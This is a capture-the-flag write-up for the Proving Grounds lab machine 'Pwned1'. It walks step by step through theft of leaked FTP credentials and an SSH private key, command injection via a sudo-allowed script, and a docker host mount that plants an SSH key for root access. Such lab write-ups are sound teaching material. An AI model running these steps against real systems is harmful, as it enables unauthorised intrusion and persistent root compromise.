# Pwned1 Writeup - Proving Grounds

> Intermediate Linux box where a disclosed web page leaks FTP credentials and an SSH private key, a sudo rule on a messenger script allows command injection as another user, and docker group membership gives root via a host filesystem mount.

- **URL:** https://hackindex.io/writeups/pwned1
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** information-disclosure, hardcoded-credentials, ftp, sudo-misconfiguration, docker-escape, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 1 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Pwned1 leaks FTP credentials through a commented-out snippet in a disclosed web page, and the FTP share holds an SSH private key for the user `ariana`. A sudo rule on a message-sending script lets commands be injected as `selena`, who sits in the `docker` group, and mounting the host filesystem through a container gives root.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
nmap $TARGET_IP
# PORT   STATE SERVICE
# 21/tcp open  ftp
# 22/tcp open  ssh
# 80/tcp open  http
```

Nothing stands out on the web root, but `robots.txt` points at a hidden path.

### Web enumeration

Check `robots.txt` for disallowed paths.

```bash
curl http://$TARGET_IP/robots.txt
# User-agent: *
# Allow: /nothing
# Allow: /hidden_text
```

`/hidden_text` directory-lists a wordlist file, which can be used to brute force further paths.

```bash
curl http://$TARGET_IP/hidden_text/secret.dic -o secret.dic
gobuster dir -u http://$TARGET_IP -w secret.dic
# //pwned.vuln (Status: 301)
```

The only hit, `/pwned.vuln`, leaks credentials in a commented-out line of PHP source.

```bash
curl http://$TARGET_IP/pwned.vuln/
# <?php
# ...
# //  if ($un=='ftpuser' && $pw=='$FTPUSER_PASSWORD') {
# ...
```

## Exploitation

### FTP credential disclosure to SSH key theft

Log in to FTP with the leaked credentials.

```bash
ftp $TARGET_IP
# Name: ftpuser
# Password: $FTPUSER_PASSWORD
# 230 Login successful.
# ftp> cd share
# ftp> ls
# -rw-r--r--    1 0   0   2602 Jul 09 15:05 id_rsa
# -rw-r--r--    1 0   0     75 Jul 09 17:41 note.txt
```

The share holds a private SSH key and a note that conveniently names the account it belongs to.

```bash
cat note.txt
# Wow you are here
#
# ariana won't happy about this note
#
# sorry ariana :(
```

```bash
chmod 400 id_rsa
ssh -i id_rsa ariana@$TARGET_IP
# ariana@pwned:~$ id
# uid=1000(ariana) gid=1000(ariana) groups=1000(ariana),24(cdrom),25(floppy),29(audio)
```

Shell as `ariana`. Check sudo rights next.

## Privilege Escalation

### Sudo script command injection

Ariana may run a messenger script as another user.

```bash
sudo -l
# User ariana may run the following commands on pwned:
#     (selena) NOPASSWD: /home/messenger.sh
```

```bash
#!/bin/bash

clear
echo "Welcome to linux.messenger "
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo "$users"
read -p "Enter username to send message : " name
read -p "Enter message for$name :" msg
echo "Sending message to$name "

$msg 2> /dev/null

echo "Message sent to$name :) "
```

The script runs the message text as a command. Supplying `/bin/bash` as the message spawns a shell as `selena`.

```bash
sudo -u selena /home/messenger.sh
# Enter username to send message : whatever
# Enter message for whatever :/bin/bash
# id
# uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
```

Selena belongs to the `docker` group, which is effectively root: mounting the host filesystem into a container exposes everything.

### Docker group to root

Check available images, then mount the host root into one of them.

```bash
docker image ls
# REPOSITORY  TAG     IMAGE ID      CREATED       SIZE
# privesc     latest  09ae39f0f8fc  2 months ago  88.3MB
# debian      wheezy  10fcec6d95c4  18 months ago 88.3MB
```

```bash
docker run -it -v /:/host debian:wheezy sh
cd /host/root
mkdir .ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EA<snip>kali@kali' >> .ssh/authorized_keys
# # ls -al /host/root/.ssh
# -rw-r--r-- 1 root root  <snip> authorized_keys
```

With the attacker's public key dropped into root's `authorized_keys`, SSH logs straight in as root.

```bash
ssh root@$TARGET_IP
# root@pwned:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [Docker Engine security](https://docs.docker.com/engine/security/#docker-daemon-attack-surface) - Why membership of the docker group is equivalent to root on the host.